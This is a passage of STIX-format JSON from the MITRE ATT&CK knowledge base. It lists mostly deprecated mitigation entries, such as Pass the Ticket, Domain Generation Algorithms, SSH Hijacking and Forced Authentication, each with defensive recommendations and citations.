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Retrieved June 2, 2016.","source_name":"ADSecurity AD Kerberos Attacks"},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:21.478Z","name":"Pass the Ticket Mitigation","description":"Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b","type":"course-of-action","created":"2019-02-18T17:22:57.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1483","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1483"},{"description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf","source_name":"Cybereason Dissecting DGAs"},{"source_name":"Cisco Umbrella DGA Brute Force","url":"https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/","description":"Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019."},{"description":"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.","url":"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html","source_name":"Akamai DGA Mitigation"},{"source_name":"University of Birmingham C2","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T19:13:31.378Z","name":"Domain Generation Algorithms Mitigation","description":"This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1146","external_id":"T1146"},{"url":"http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory","description":"Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.","source_name":"Securing bash history"}],"modified":"2019-07-24T18:05:00.492Z","name":"Clear Command History Mitigation","description":"Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved   (Citation: Securing bash history).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1028","url":"https://attack.mitre.org/mitigations/T1028","source_name":"mitre-attack"},{"source_name":"NSA Spotting","description":"National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.","url":"https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}],"modified":"2020-01-17T16:46:19.274Z","name":"Windows Remote Management Mitigation","description":"Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","type":"course-of-action","created":"2019-07-19T14:33:33.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1053","url":"https://attack.mitre.org/mitigations/M1053"}],"modified":"2020-03-31T13:11:28.201Z","name":"Data Backup","description":"Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1160","external_id":"T1160"}],"modified":"2019-07-24T19:48:23.825Z","name":"Launch Daemon Mitigation","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241","type":"course-of-action","created":"2019-04-24T17:01:10.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1489","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1489"}],"modified":"2019-07-25T11:42:52.240Z","name":"Service Stop Mitigation","description":"Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1184","external_id":"T1184"},{"url":"https://www.symantec.com/connect/articles/ssh-and-ssh-agent","description":"Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.","source_name":"Symantec SSH and ssh-agent"}],"modified":"2019-07-25T11:38:28.944Z","name":"SSH Hijacking Mitigation","description":"Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--429a5c0c-e132-45c0-a4aa-c1f736c92a1c","type":"course-of-action","created":"2019-03-15T14:49:53.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1486","source_name":"mitre-attack","external_id":"T1486"},{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:21.498Z","name":"Data Encrypted for Impact Mitigation","description":"Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1074","external_id":"T1074"}],"modified":"2019-07-24T19:05:13.374Z","name":"Data Staged Mitigation","description":"Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1051","external_id":"T1051"},{"url":"https://www.acunetix.com/websitesecurity/webserver-security/","description":"Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.","source_name":"acunetix Server Secuirty"},{"url":"https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf","description":"Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.","source_name":"NIST Server Security July 2008"}],"modified":"2019-07-25T11:43:54.859Z","name":"Shared Webroot Mitigation","description":"Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1215","external_id":"T1215"},{"url":"http://rkhunter.sourceforge.net","description":"Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.","source_name":"SourceForge rkhunter"},{"url":"http://www.chkrootkit.org/","description":"Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.","source_name":"Chkrootkit Main"},{"url":"https://patchwork.kernel.org/patch/8754821/","description":"Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin  register. Retrieved April 9, 2018.","source_name":"Kernel.org Restrict Kernel Module"}],"modified":"2019-07-24T19:44:56.371Z","name":"Kernel Modules and Extensions Mitigation","description":"Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1214","external_id":"T1214"}],"modified":"2019-07-24T14:22:57.902Z","name":"Credentials in Registry Mitigation","description":"Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1036","url":"https://attack.mitre.org/mitigations/T1036","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--5d8507c4-603e-4fe1-8a4a-b8241f58734b","type":"course-of-action","created":"2019-04-08T17:51:41.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1491","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1491"},{"description":"OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.","url":"https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/","source_name":"OWASP Top 10 2017"}],"modified":"2020-07-14T22:23:56.026Z","name":"Defacement Mitigation","description":"Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. 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(2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.","source_name":"Re-Open windows on Mac"}],"modified":"2019-07-25T11:30:18.799Z","name":"Re-opened Applications Mitigation","description":"Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). 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(Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1172","external_id":"T1172"},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html","description":"Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. 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Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1149","external_id":"T1149"}],"modified":"2019-07-24T19:46:16.474Z","name":"LC_MAIN Hijacking Mitigation","description":"Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1187","external_id":"T1187"},{"url":"https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices","description":"US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.","source_name":"US-CERT SMB Security"},{"source_name":"US-CERT APT Energy Oct 2017","description":"US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-293A"}],"modified":"2019-07-24T19:32:11.883Z","name":"Forced Authentication Mitigation","description":"Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--70886857-0f19-4caa-b081-548354a8a994","type":"course-of-action","created":"2019-04-26T19:30:33.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1495","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1495"}],"modified":"2019-07-24T19:31:37.073Z","name":"Firmware Corruption Mitigation","description":"Prevent adversary access to privileged accounts or access necessary to perform this technique. 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It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1220","external_id":"T1220"}],"modified":"2019-07-25T12:36:43.778Z","name":"XSL Script Processing Mitigation","description":"[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1161","external_id":"T1161"}],"modified":"2019-07-24T19:45:55.012Z","name":"LC_LOAD_DYLIB Addition Mitigation","description":"Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c","type":"course-of-action","created":"2019-07-19T14:58:42.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1055","url":"https://attack.mitre.org/mitigations/M1055"}],"modified":"2019-07-23T14:44:24.727Z","name":"Do Not Mitigate","description":"This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","type":"course-of-action","created":"2020-10-19T14:57:58.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1056","url":"https://attack.mitre.org/mitigations/M1056"}],"modified":"2020-10-20T19:52:32.439Z","name":"Pre-compromise","description":"This category is used for any applicable mitigation activities that apply to techniques occurring before an adversary gains Initial Access, such as Reconnaissance and Resource Development 